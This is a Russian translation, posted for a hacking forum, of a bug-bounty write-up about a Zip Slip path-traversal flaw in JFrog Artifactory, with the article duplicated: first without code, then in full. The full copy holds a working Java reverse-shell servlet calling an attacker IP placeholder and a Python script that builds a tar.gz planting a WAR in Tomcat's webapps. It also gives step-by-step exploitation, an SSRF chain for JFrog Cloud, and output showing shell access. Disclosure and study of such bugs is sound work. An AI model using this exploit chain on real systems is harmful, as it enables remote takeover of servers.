Источник: https://karmainsecurity.com/zip-slip-meets-artifactory-a-bug-bounty-story
Перевод: BLUA специально для xss.pro
Artifactory, разработанный компанией JFrog, является ведущим в отрасли менеджером репозиториев программного обеспечения, единственным решением для хранения и управления всеми артефактами, бинарными файлами, пакетами, файлами, контейнерами и компонентами, используемыми на протяжении всей цепочки поставок программного обеспечения. JFrog Artifactory служит центральным узлом для DevOps, интегрируясь с инструментами и процессами разработки программного обеспечения.
В этом блоге я расскажу историю о уязвимости Zip Slip в Artifactory, которую я сообщил в частную программу вознаграждений за обнаружение ошибок компании JFrog в начале 2021 года. За эту уязвимость я получил вознаграждение в размере 5000 долларов США и несколько крутых сувениров!
На прошлой неделе у меня также была возможность публично рассказать эту историю на hackmeeting 0x1B с презентацией под названием "Attacchi Zip Slip: storia di un exploit in 'archivio'" (Атаки Zip Slip: история эксплойта в "архиве")... Здесь вы можете найти слайды, использованные в моем выступлении.
Прежде чем перейти к этой истории, давайте разберемся с контекстом и попробуем выяснить, что такое уязвимость Path Traversal. Вкратце, Zip Slip — это уязвимость произвольной записи файлов, которая может быть использована через атаки Path Traversal, возникающие в процессе обработки/извлечения архивного файла, такого как архив Zip или Tar. Если вы уже знакомы с атаками Path Traversal, вы можете пропустить следующий раздел.
Уязвимости обхода путей(Path Traversal Vulnerabilities)
Атака Path Traversal (или Directory Traversal) использует недостаточную проверку вводимых пользователем имен файлов, при которой символы, представляющие переход к родительскому каталогу — так называемые последовательности точка-точка-слэш (../) — передаются в API файловой системы операционной системы. Уязвимое приложение может быть использовано злоумышленниками для получения несанкционированного доступа к файловой системе, что позволяет им читать или записывать произвольные файлы на системе.
Действительно, приложение может быть уязвимо к атакам Path Traversal как в режиме чтения, так и в режиме записи, что в первом случае приводит к возможности произвольного чтения файлов, что может создать векторы атак на раскрытие информации, а во втором случае — к возможности произвольной записи файлов, что, в свою очередь, может привести к атакам удаленного выполнения кода (RCE). Именно поэтому второй случай является наиболее интересным, и атаки Zip Slip работают в режиме записи, что означает, что они часто могут приводить к удаленному выполнению кода (RCE)!
Ниже приведен пример PHP-приложения, уязвимого к атаке Path Traversal в режиме чтения:
В этом примере из-за отсутствия проверки входных данных параметра "filename" в запросе GET (который присваивается переменной $image на строке 6), злоумышленник может получить возможность читать произвольные файлы на уязвимом веб-сервере, используя последовательности точка-точка-слэш (../) для доступа, например, к корневому пути (/) и получения содержимого файла паролей (/etc/passwd), что-то вроде этого:
Вот еще один пример уязвимого Java веб-приложения, на этот раз в режиме записи:
В этом случае из-за некорректной проверки входных данных параметра "filename" (который присваивается переменной name на строке 4 и затем используется на строке 6 для записи загруженного файла) злоумышленник может получить возможность загружать/записывать произвольные файлы в любом месте на веб-сервере, даже за пределами целевого каталога (константа UPLOAD_DIRECTORY в этом примере), используя последовательности точка-точка-слэш (../) в имени загружаемого файла, например, изменяя HTTP-запрос загрузки с помощью прокси-инструмента. Что-то вроде этого:
Это, в свою очередь, может привести к атакам удаленного выполнения кода (RCE), например, путем создания новых вредоносных JSP-файлов в корневом каталоге веб-сервера и их удаленного выполнения с помощью HTTP-запросов. Другим возможным вектором атаки может быть запись/перезапись приватного ключа SSH пользователя (например, /home/user/.ssh/id_rsa) и получение несанкционированного доступа к веб-серверу через SSH, если он доступен. Иными словами, существует множество способов получить удаленное выполнение кода (RCE) с помощью произвольной записи файла, и все они зависят от контекста, как мы скоро увидим.
Уязвимости Zip Slip
Zip Slip — это класс уязвимостей, которому уже более тридцати лет, вероятно, "родившийся" в 1991 году со статьей, опубликованной в Phrack.
------------------------------------------------------------------------
Техника №3: Взлом архива с помощью -D
Эта техника также использует открытость системы архивов WWIV. Это еще один метод для помещения файла в корневой каталог BBS или в любое другое место на жестком диске.
Сначала создайте временный каталог на вашем жестком диске. Не имеет значения, как он будет называться. Мы назовем его TEMP. Затем создайте подкаталог TEMP с именем AA. На самом деле, он может называться любым сочетанием двух символов, но мы оставим все просто. Затем создайте подкаталог AA с именем WWIV.
Поместите NETWORK.COM или REMOTE.COM или любой другой файл в каталог \TEMP\AA\WWIV. Затем выполните команду из каталога TEMP:
Это создаст zip-файл со всем содержимым каталогов, при этом все имена каталогов будут рекурсивно сохранены. Таким образом, если вы выполните команду PKZIP -V для вывода списка файлов, вы должны увидеть `AA\WWIV\REMOTE.COM` и т.д.
Затем загрузите STUFF.ZIP в редактор шестнадцатеричного кода, например, Norton Utilities, и найдите "AA". Когда найдете (оно должно встретиться дважды), измените его на "C:". Вероятно, будет хорошей идеей сделать это дважды: один раз с подкаталогом, называемым WWIV, и еще раз с подкаталогом, называемым BBS, так как это два самых распространенных основных имени каталогов BBS для WWIV. Возможно, вы даже захотите попробовать D: или E: в дополнение к C:. Вы даже можете пойти другим путем, забыв про подкаталог WWIV и просто сделав его `AA\REMOTE.COM`, а затем изменив "AA" на "..". Это будет надежно. Вы можете работать оттуда, используя `....\DOS\PKZIP.COM` или что-то подобное.
Затем загрузите STUFF.ZIP (или как вы хотите его назвать) на BBS и введите "E", чтобы распаковать его во временный каталог. Он спросит вас, какой файл. Введите "STUFF.ZIP". Он спросит, что вы хотите извлечь. Введите "-D". Затем он выполнит:
Он распакует все в нужный каталог. Вуаля.
------------------------------------------------------------------------
Итак, в основном концепция вставки последовательностей точка-точка-слэш (../) внутрь архивного файла и, таким образом, эксплуатации приложений, уязвимых к атакам обхода пути (Path Traversal), была впервые представлена в сентябре 1991 года в контексте взлома BBS, когда Веб только что родился месяцем ранее… Однако, похоже, потребовалось несколько лет, прежде чем эта техника была применена в контексте Веба, и это, вероятно, произошло в 2006 году с CVE-2006-0931 и CVE-2006-0932 — это самые старые уязвимости Zip Slip, связанные с Вебом, которые я могу видеть в этих списках. Три года спустя, в апреле 2009 года, было также опубликовано исследование Neohapsis. После еще нескольких лет "почти тишины" по этому поводу, в 2018 году Snyk опубликовал исследование, которое "переименовало" этот класс уязвимостей в настоящее известное имя, и Snyk собрал десятки CVE, обнаружив и сообщив об уязвимостях Zip Slip в нескольких программных продуктах.
Давайте рассмотрим пример уязвимого кода на Java:
Как вы можете видеть, на строке 7 имя записи (filename) внутри Zip архива - точнее, значение, возвращаемое вызовом e.getName() - конкатенируется с каталогом назначения без проверки, и это значение позже используется на строке 9 для фактической записи/извлечения файла из архива. Таким образом, это может быть использовано путем предоставления специально созданного Zip архива, который содержит последовательности точка-точка-слэш (../) в именах своих записей, что приводит к возможности произвольной записи файлов через атаки обхода пути (Path Traversal).
Уязвимость Zip Slip в JFrog Artifactory <= 7.12.10
Все началось 28 декабря 2020 года, когда я получил приглашение на частную программу HackerOne от JFrog. Я был очень рад этому и сразу же заинтересовался Artifactory... Итак, я скачал его, установил и начал тестировать и проводить обратную инженерию его исходного кода на Java. В результате я обнаружил несколько интересных уязвимостей безопасности, влияющих на Artifactory, но здесь я собираюсь подробно рассказать только об одной из них, вероятно, самой интересной (учитывая, что мне потребовалось несколько дней упорной работы, чтобы действительно её эксплуатировать). Речь идет об уязвимости Zip Slip, расположенной в классе org.artifactory.addon.bower.helpers.BowerExternalDependenciesHandler.
Метод extractBowerPackage() вызывается при обработке "переписывания внешних зависимостей" пакетов Bower, и это, в свою очередь, вызывает уязвимый метод copyEntryToFile() на строке 120 для каждой записи в пакете Bower (который, как ожидается, будет файлом .tar.gz). На строке 142 этот метод использует имя записи (имя файла), предоставленное в архиве Bower, подверженном влиянию пользователя, - точнее, значение, возвращаемое вызовом entry.getName() - для конкатенации с временной директорией для создания нового объекта File, без надлежащей проверки. Такой объект File позже используется на строках 144-145 для фактического извлечения файла из пакета и записи его в файловую систему. Это можно использовать для записи (или перезаписи) произвольных файлов на удаленном веб-сервере, предоставив вредоносный пакет Bower, содержащий последовательности точка-точка-слэш (../) в именах его записей, что приводит к атакам удаленного выполнения кода (RCE), например, путем создания нового файла WAR в директории webapps Tomcat, который будет автоматически развернут как новое веб-приложение Tomcat через несколько секунд:
Файлы WAR должны быть размещены в пути webapps Tomcat /opt/jfrog/artifactory/tomcat/webapps/. По умолчанию развертывание файлов WAR происходит автоматически и запустит другое веб-приложение рядом с экземпляром Artifactory, например, по адресу http://localhost:8081/sample/.
Ниже приведены шаги по созданию специально подготовленного пакета Bower для эксплуатации этой уязвимости Zip Slip:
- Создайте файл ShellServlet.java, содержащий ваш код (реверсного) шелла, что-то вроде этого:
- Поместите этот файл в следующую структуру каталогов: rce/WEB-INF/classes/ShellServlet.java
- Скомпилируйте сервлет с помощью следующей команды: javac -cp servlet-api.jar rce/WEB-INF/classes/ShellServlet.java
- Создайте WAR-файл с помощью следующей команды: cd rce; jar -cvf ../rce.war WEB-INF/classes/*.class; cd ..
- Создайте пакет rce.tar.gz для Bower, запустив следующий Python-скрипт:
- где файл bower.json содержит «внешнюю зависимость», подобную этой:
После того как вы создали файл rce.tar.gz, вы можете воспроизвести уязвимость, выполнив следующие шаги:
- Войдите в Artifactory под пользователем с правами администратора.
- Создайте новый локальный репозиторий Bower (bower-local).
- Создайте новый удаленный репозиторий Bower (bower-remote).
- Создайте новый виртуальный репозиторий Bower: выберите bower-local и bower-remote в разделе «Repositories», выберите bower-local в разделе «Default Deployment Repository», затем перейдите на вкладку «Advanced» и выберите «Enable Dependency Rewrite».
- Перейдите в «Artifactory» → «Artifacts», выберите виртуальный репозиторий Bower и разверните файл rce.tar.gz.
- Загрузите развернутый артефакт, и уязвимость будет активирована, записывая файл rce.war в каталог webapps Tomcat, который будет автоматически развернут как новое веб-приложение Tomcat.
- Теперь, чтобы выполнить вредоносный WAR, злоумышленник должен получить доступ к http://[artifactory_instance]:8081/rce/, но это было невозможно на JFrog Cloud, так как порт 8081 не был открыт для Интернета. Однако, «цепляя» другие уязвимости (SSRF), все же было возможно выполнить WAR и на JFrog Cloud: просто создайте новый удаленный репозиторий Generic Remote Repository и введите строку http://0.0.0.0:8081/rce в текстовое поле URL, нажмите «Test», и (обратная) оболочка будет выполнена.
ПРИМЕЧАНИЕ: хотя создание репозиториев Bower требует учетной записи администратора, это не обязательно означает, что для успешной эксплуатации этой уязвимости требуется учетная запись администратора. Она также может быть использована неадминистраторами, имеющими права на развёртывание артефактов в виртуальном репозитории Bower с включенной опцией «Enable Dependency Rewrite».
Вот видео с демонстрацией концепции (Proof of Concept, PoC), которое я отправил вместе с отчетом на HackerOne:
Здесь вы можете найти полностью рабочий скрипт демонстрации концепции (Proof of Concept, PoC) для воспроизведения этой уязвимости. Это PHP-скрипт, который предполагается использовать из командной строки (CLI), и вы должны увидеть вывод, похожий на следующий:
Я сообщил об этой уязвимости 24 января 2021 года, и команда триажа HackerOne подтвердила её 29 января 2021 года. В итоге, 1 февраля 2021 года я получил вознаграждение в размере 5000 долларов США! Кроме того, я также получил несколько классных сувениров, включая эту отличную футболку:
Заключение
Подводя итоги, можно сказать, что Zip Slip — это класс уязвимостей, который существует уже давно и, скорее всего, будет существовать еще долго. Как в 99% случаев, такие ошибки безопасности возникают из-за человеческих ошибок, в результате забывчивости или ложных предположений. Zip Slip — это не что иное, как эксплуатация уязвимости Path Traversal для записи произвольных файлов в неожиданные папки, пользуясь отсутствием контроля со стороны разработчиков. Как мы видели в этой истории, злоумышленники могут использовать это для полного контроля над машинами, на которых работает приложение, уязвимое для атак Zip Slip.
В заключение, я хотел бы еще раз поблагодарить за предоставленную мне возможность участвовать в вашей частной программе Bug Bounty, за полученное вознаграждение и все остальное…
Также хочу поблагодарить итальянское сообщество hackmeeting за возможность публично раскрыть и обсудить эту уязвимость Zip Slip впервые! Кстати, это было мое первое мероприятие hackmeeting, и для меня это был действительно приятный опыт! 
Перевод: BLUA специально для xss.pro
Artifactory, разработанный компанией JFrog, является ведущим в отрасли менеджером репозиториев программного обеспечения, единственным решением для хранения и управления всеми артефактами, бинарными файлами, пакетами, файлами, контейнерами и компонентами, используемыми на протяжении всей цепочки поставок программного обеспечения. JFrog Artifactory служит центральным узлом для DevOps, интегрируясь с инструментами и процессами разработки программного обеспечения.
В этом блоге я расскажу историю о уязвимости Zip Slip в Artifactory, которую я сообщил в частную программу вознаграждений за обнаружение ошибок компании JFrog в начале 2021 года. За эту уязвимость я получил вознаграждение в размере 5000 долларов США и несколько крутых сувениров!
На прошлой неделе у меня также была возможность публично рассказать эту историю на hackmeeting 0x1B с презентацией под названием "Attacchi Zip Slip: storia di un exploit in 'archivio'" (Атаки Zip Slip: история эксплойта в "архиве")... Здесь вы можете найти слайды, использованные в моем выступлении.
Прежде чем перейти к этой истории, давайте разберемся с контекстом и попробуем выяснить, что такое уязвимость Path Traversal. Вкратце, Zip Slip — это уязвимость произвольной записи файлов, которая может быть использована через атаки Path Traversal, возникающие в процессе обработки/извлечения архивного файла, такого как архив Zip или Tar. Если вы уже знакомы с атаками Path Traversal, вы можете пропустить следующий раздел.
Уязвимости обхода путей(Path Traversal Vulnerabilities)
Атака Path Traversal (или Directory Traversal) использует недостаточную проверку вводимых пользователем имен файлов, при которой символы, представляющие переход к родительскому каталогу — так называемые последовательности точка-точка-слэш (../) — передаются в API файловой системы операционной системы. Уязвимое приложение может быть использовано злоумышленниками для получения несанкционированного доступа к файловой системе, что позволяет им читать или записывать произвольные файлы на системе.
Действительно, приложение может быть уязвимо к атакам Path Traversal как в режиме чтения, так и в режиме записи, что в первом случае приводит к возможности произвольного чтения файлов, что может создать векторы атак на раскрытие информации, а во втором случае — к возможности произвольной записи файлов, что, в свою очередь, может привести к атакам удаленного выполнения кода (RCE). Именно поэтому второй случай является наиболее интересным, и атаки Zip Slip работают в режиме записи, что означает, что они часто могут приводить к удаленному выполнению кода (RCE)!
Ниже приведен пример PHP-приложения, уязвимого к атаке Path Traversal в режиме чтения:
Код:
<?php
// some PHP code
if (isset($_GET['filename']))
$image = $_GET['filename'];
else
$image = 'default.png';
readfile('/var/www/images/' . $image);
// some more PHP code
?>
В этом примере из-за отсутствия проверки входных данных параметра "filename" в запросе GET (который присваивается переменной $image на строке 6), злоумышленник может получить возможность читать произвольные файлы на уязвимом веб-сервере, используя последовательности точка-точка-слэш (../) для доступа, например, к корневому пути (/) и получения содержимого файла паролей (/etc/passwd), что-то вроде этого:
Вот еще один пример уязвимого Java веб-приложения, на этот раз в режиме записи:
Код:
@PostMapping("/uploadimage")
public String uploadImage(Model model, @RequestParam("image") MultipartFile file) throws IOException
{
var name = file.getOriginalFilename().replace(" ", "_");
var fileNameAndPath = Paths.get(UPLOAD_DIRECTORY, name);
Files.write(fileNameAndPath, file.getBytes());
// some more Java code
return "/user/upload";
}
В этом случае из-за некорректной проверки входных данных параметра "filename" (который присваивается переменной name на строке 4 и затем используется на строке 6 для записи загруженного файла) злоумышленник может получить возможность загружать/записывать произвольные файлы в любом месте на веб-сервере, даже за пределами целевого каталога (константа UPLOAD_DIRECTORY в этом примере), используя последовательности точка-точка-слэш (../) в имени загружаемого файла, например, изменяя HTTP-запрос загрузки с помощью прокси-инструмента. Что-то вроде этого:
Это, в свою очередь, может привести к атакам удаленного выполнения кода (RCE), например, путем создания новых вредоносных JSP-файлов в корневом каталоге веб-сервера и их удаленного выполнения с помощью HTTP-запросов. Другим возможным вектором атаки может быть запись/перезапись приватного ключа SSH пользователя (например, /home/user/.ssh/id_rsa) и получение несанкционированного доступа к веб-серверу через SSH, если он доступен. Иными словами, существует множество способов получить удаленное выполнение кода (RCE) с помощью произвольной записи файла, и все они зависят от контекста, как мы скоро увидим.
Уязвимости Zip Slip
Zip Slip — это класс уязвимостей, которому уже более тридцати лет, вероятно, "родившийся" в 1991 году со статьей, опубликованной в Phrack.
------------------------------------------------------------------------
Техника №3: Взлом архива с помощью -D
Эта техника также использует открытость системы архивов WWIV. Это еще один метод для помещения файла в корневой каталог BBS или в любое другое место на жестком диске.
Сначала создайте временный каталог на вашем жестком диске. Не имеет значения, как он будет называться. Мы назовем его TEMP. Затем создайте подкаталог TEMP с именем AA. На самом деле, он может называться любым сочетанием двух символов, но мы оставим все просто. Затем создайте подкаталог AA с именем WWIV.
Поместите NETWORK.COM или REMOTE.COM или любой другой файл в каталог \TEMP\AA\WWIV. Затем выполните команду из каталога TEMP:
PKZIP -r -P STUFF.ZIP <--- The case of "r" and "P" are important.Это создаст zip-файл со всем содержимым каталогов, при этом все имена каталогов будут рекурсивно сохранены. Таким образом, если вы выполните команду PKZIP -V для вывода списка файлов, вы должны увидеть `AA\WWIV\REMOTE.COM` и т.д.
Затем загрузите STUFF.ZIP в редактор шестнадцатеричного кода, например, Norton Utilities, и найдите "AA". Когда найдете (оно должно встретиться дважды), измените его на "C:". Вероятно, будет хорошей идеей сделать это дважды: один раз с подкаталогом, называемым WWIV, и еще раз с подкаталогом, называемым BBS, так как это два самых распространенных основных имени каталогов BBS для WWIV. Возможно, вы даже захотите попробовать D: или E: в дополнение к C:. Вы даже можете пойти другим путем, забыв про подкаталог WWIV и просто сделав его `AA\REMOTE.COM`, а затем изменив "AA" на "..". Это будет надежно. Вы можете работать оттуда, используя `....\DOS\PKZIP.COM` или что-то подобное.
Затем загрузите STUFF.ZIP (или как вы хотите его назвать) на BBS и введите "E", чтобы распаковать его во временный каталог. Он спросит вас, какой файл. Введите "STUFF.ZIP". Он спросит, что вы хотите извлечь. Введите "-D". Затем он выполнит:
PKUNZIP STUFF.ZIP ""-DОн распакует все в нужный каталог. Вуаля.
------------------------------------------------------------------------
Итак, в основном концепция вставки последовательностей точка-точка-слэш (../) внутрь архивного файла и, таким образом, эксплуатации приложений, уязвимых к атакам обхода пути (Path Traversal), была впервые представлена в сентябре 1991 года в контексте взлома BBS, когда Веб только что родился месяцем ранее… Однако, похоже, потребовалось несколько лет, прежде чем эта техника была применена в контексте Веба, и это, вероятно, произошло в 2006 году с CVE-2006-0931 и CVE-2006-0932 — это самые старые уязвимости Zip Slip, связанные с Вебом, которые я могу видеть в этих списках. Три года спустя, в апреле 2009 года, было также опубликовано исследование Neohapsis. После еще нескольких лет "почти тишины" по этому поводу, в 2018 году Snyk опубликовал исследование, которое "переименовало" этот класс уязвимостей в настоящее известное имя, и Snyk собрал десятки CVE, обнаружив и сообщив об уязвимостях Zip Slip в нескольких программных продуктах.
Давайте рассмотрим пример уязвимого кода на Java:
Код:
public void extractZipFile(ZipFile zip, String destinationDir)
{
Enumeration<ZipEntry> entries = zip.getEntries();
while (entries.hasMoreElements())
{
ZipEntry e = entries.nextElement();
File f = new File(destinationDir, e.getName());
InputStream input = zip.getInputStream(e);
IOUtils.copy(input, write(f));
}
}
Как вы можете видеть, на строке 7 имя записи (filename) внутри Zip архива - точнее, значение, возвращаемое вызовом e.getName() - конкатенируется с каталогом назначения без проверки, и это значение позже используется на строке 9 для фактической записи/извлечения файла из архива. Таким образом, это может быть использовано путем предоставления специально созданного Zip архива, который содержит последовательности точка-точка-слэш (../) в именах своих записей, что приводит к возможности произвольной записи файлов через атаки обхода пути (Path Traversal).
Уязвимость Zip Slip в JFrog Artifactory <= 7.12.10
Все началось 28 декабря 2020 года, когда я получил приглашение на частную программу HackerOne от JFrog. Я был очень рад этому и сразу же заинтересовался Artifactory... Итак, я скачал его, установил и начал тестировать и проводить обратную инженерию его исходного кода на Java. В результате я обнаружил несколько интересных уязвимостей безопасности, влияющих на Artifactory, но здесь я собираюсь подробно рассказать только об одной из них, вероятно, самой интересной (учитывая, что мне потребовалось несколько дней упорной работы, чтобы действительно её эксплуатировать). Речь идет об уязвимости Zip Slip, расположенной в классе org.artifactory.addon.bower.helpers.BowerExternalDependenciesHandler.
Код:
110 private List<File> extractBowerPackage() throws IOException, ArchiveException {
111 log.debug("Extracting archive contents of bower package {} for dependency rewrite on repo {}", this.resource
112 .getRepoPath(), this.repo.getKey());
113 ResourceStreamHandle handle = this.repoService.getResourceStreamHandle(this.resource.getRepoPath());
114 List<File> archiveContents = new ArrayList<>();
115 ArchiveInputStream stream = (new ArchiveStreamFactory()).createArchiveInputStream(new BufferedInputStream(new GZIPInputStream(handle.getInputStream())));
116 try {
117 ArchiveEntry entry;
118 while ((entry = stream.getNextEntry()) != null) {
119 if (!entry.isDirectory() && !entry.getName().contains("pax_global_header")) {
120 File outputFile = copyEntryToFile(stream, entry);
121 archiveContents.add(outputFile);
122 }
123 }
124 if (stream != null)
125 stream.close();
126 } catch (Throwable throwable) {
127 if (stream != null)
128 try {
129 stream.close();
130 } catch (Throwable throwable1) {
131 throwable.addSuppressed(throwable1);
132 }
133 throw throwable;
134 }
135 if (log.isTraceEnabled())
136 log.trace("Archive contents for bower package at {} are: {}", this.resource.getRepoPath(),
137 Arrays.toString(archiveContents.toArray()));
138 return archiveContents;
139 }
140
141 private File copyEntryToFile(ArchiveInputStream stream, ArchiveEntry entry) throws IOException {
142 File outputFile = new File(this.tempBowerDirectory, entry.getName());
143 Files.createDirectories(outputFile.toPath().getParent(), (FileAttribute<?>[])new FileAttribute[0]);
144 OutputStream os = new FileOutputStream(outputFile);
145 IOUtils.copy((InputStream)stream, os);
146 os.close();
147 return outputFile;
148 }
Метод extractBowerPackage() вызывается при обработке "переписывания внешних зависимостей" пакетов Bower, и это, в свою очередь, вызывает уязвимый метод copyEntryToFile() на строке 120 для каждой записи в пакете Bower (который, как ожидается, будет файлом .tar.gz). На строке 142 этот метод использует имя записи (имя файла), предоставленное в архиве Bower, подверженном влиянию пользователя, - точнее, значение, возвращаемое вызовом entry.getName() - для конкатенации с временной директорией для создания нового объекта File, без надлежащей проверки. Такой объект File позже используется на строках 144-145 для фактического извлечения файла из пакета и записи его в файловую систему. Это можно использовать для записи (или перезаписи) произвольных файлов на удаленном веб-сервере, предоставив вредоносный пакет Bower, содержащий последовательности точка-точка-слэш (../) в именах его записей, что приводит к атакам удаленного выполнения кода (RCE), например, путем создания нового файла WAR в директории webapps Tomcat, который будет автоматически развернут как новое веб-приложение Tomcat через несколько секунд:
Файлы WAR должны быть размещены в пути webapps Tomcat /opt/jfrog/artifactory/tomcat/webapps/. По умолчанию развертывание файлов WAR происходит автоматически и запустит другое веб-приложение рядом с экземпляром Artifactory, например, по адресу http://localhost:8081/sample/.
Ниже приведены шаги по созданию специально подготовленного пакета Bower для эксплуатации этой уязвимости Zip Slip:
- Создайте файл ShellServlet.java, содержащий ваш код (реверсного) шелла, что-то вроде этого:
Код:
1import java.io.*;
2import java.net.Socket;
3import javax.servlet.*;
4import javax.servlet.http.*;
5import javax.servlet.annotation.*;
6
7@WebServlet("/")
8public class ShellServlet extends HttpServlet {
9
10 @Override
11 public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
12
13 String host = "[ATTACKER_IP_ADDRESS]";
14 int port = 12345;
15 String cmd = "/bin/sh";
16
17 Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
18 Socket s = new Socket(host, port);
19 InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
20 OutputStream po = p.getOutputStream(), so = s.getOutputStream();
21
22 while(!s.isClosed()) {
23
24 while(pi.available() > 0)
25 so.write(pi.read());
26 while(pe.available() > 0)
27 so.write(pe.read());
28 while(si.available() > 0)
29 po.write(si.read());
30
31 so.flush();
32 po.flush();
33
34 try {
35 Thread.sleep(50);
36 p.exitValue();
37 break;
38 }
39 catch (Exception e) {
40 }
41 }
42
43 p.destroy();
44 s.close();
45 }
46}
- Поместите этот файл в следующую структуру каталогов: rce/WEB-INF/classes/ShellServlet.java
- Скомпилируйте сервлет с помощью следующей команды: javac -cp servlet-api.jar rce/WEB-INF/classes/ShellServlet.java
- Создайте WAR-файл с помощью следующей команды: cd rce; jar -cvf ../rce.war WEB-INF/classes/*.class; cd ..
- Создайте пакет rce.tar.gz для Bower, запустив следующий Python-скрипт:
Код:
1#!/usr/bin/env python
2
3import sys, tarfile
4
5fname = "rce.tar.gz"
6zpath = "../../../../../../../../../../../../../opt/jfrog/artifactory/app/artifactory/tomcat/webapps/rce.war"
7
8print "Creating " + fname + " containing " + zpath
9
10tf = tarfile.open(fname, "w:gz")
11tf.add("rce.war", zpath)
12tf.add("bower.json")
13tf.close()
- где файл bower.json содержит «внешнюю зависимость», подобную этой:
Код:
1{
2 "dependencies": {
3 "test": "https://github.com/owner/package.git#branch"
4 }
5}
После того как вы создали файл rce.tar.gz, вы можете воспроизвести уязвимость, выполнив следующие шаги:
- Войдите в Artifactory под пользователем с правами администратора.
- Создайте новый локальный репозиторий Bower (bower-local).
- Создайте новый удаленный репозиторий Bower (bower-remote).
- Создайте новый виртуальный репозиторий Bower: выберите bower-local и bower-remote в разделе «Repositories», выберите bower-local в разделе «Default Deployment Repository», затем перейдите на вкладку «Advanced» и выберите «Enable Dependency Rewrite».
- Перейдите в «Artifactory» → «Artifacts», выберите виртуальный репозиторий Bower и разверните файл rce.tar.gz.
- Загрузите развернутый артефакт, и уязвимость будет активирована, записывая файл rce.war в каталог webapps Tomcat, который будет автоматически развернут как новое веб-приложение Tomcat.
- Теперь, чтобы выполнить вредоносный WAR, злоумышленник должен получить доступ к http://[artifactory_instance]:8081/rce/, но это было невозможно на JFrog Cloud, так как порт 8081 не был открыт для Интернета. Однако, «цепляя» другие уязвимости (SSRF), все же было возможно выполнить WAR и на JFrog Cloud: просто создайте новый удаленный репозиторий Generic Remote Repository и введите строку http://0.0.0.0:8081/rce в текстовое поле URL, нажмите «Test», и (обратная) оболочка будет выполнена.
ПРИМЕЧАНИЕ: хотя создание репозиториев Bower требует учетной записи администратора, это не обязательно означает, что для успешной эксплуатации этой уязвимости требуется учетная запись администратора. Она также может быть использована неадминистраторами, имеющими права на развёртывание артефактов в виртуальном репозитории Bower с включенной опцией «Enable Dependency Rewrite».
Вот видео с демонстрацией концепции (Proof of Concept, PoC), которое я отправил вместе с отчетом на HackerOne:
Здесь вы можете найти полностью рабочий скрипт демонстрации концепции (Proof of Concept, PoC) для воспроизведения этой уязвимости. Это PHP-скрипт, который предполагается использовать из командной строки (CLI), и вы должны увидеть вывод, похожий на следующий:
Код:
$ php rce.php https://egix2hackerone.jfrog.io/ admin ********
[-] Logging in with username 'admin' and password '********'
[-] Creating Bower Local Repository...
[-] Creating Bower Remote Repository...
[-] Creating Bower Virtual Repository...
[-] Uploading malicious Bower package...
[-] Deploying package to 'bower-1611601753'...
[-] Downloading package to trigger the vulnerability...
[-] Deleting Bower Repositories...
[-] Waiting for the shell to be deployed...
jfrog-shell# id
uid=1030(artifactory) gid=1030(artifactory) groups=1030(artifactory),40019,40030
jfrog-shell# uname -a
Linux a0efcqstryncc-artifactory-primary-0 4.14.203-156.332.amzn2.x86_64 #1 SMP Fri Oct 30 19:19:33 UTC 2020 x86_64 GNU/Linux
Я сообщил об этой уязвимости 24 января 2021 года, и команда триажа HackerOne подтвердила её 29 января 2021 года. В итоге, 1 февраля 2021 года я получил вознаграждение в размере 5000 долларов США! Кроме того, я также получил несколько классных сувениров, включая эту отличную футболку:
Заключение
Подводя итоги, можно сказать, что Zip Slip — это класс уязвимостей, который существует уже давно и, скорее всего, будет существовать еще долго. Как в 99% случаев, такие ошибки безопасности возникают из-за человеческих ошибок, в результате забывчивости или ложных предположений. Zip Slip — это не что иное, как эксплуатация уязвимости Path Traversal для записи произвольных файлов в неожиданные папки, пользуясь отсутствием контроля со стороны разработчиков. Как мы видели в этой истории, злоумышленники могут использовать это для полного контроля над машинами, на которых работает приложение, уязвимое для атак Zip Slip.
В заключение, я хотел бы еще раз поблагодарить за предоставленную мне возможность участвовать в вашей частной программе Bug Bounty, за полученное вознаграждение и все остальное…
Также хочу поблагодарить итальянское сообщество hackmeeting за возможность публично раскрыть и обсудить эту уязвимость Zip Slip впервые! Кстати, это было мое первое мероприятие hackmeeting, и для меня это был действительно приятный опыт! 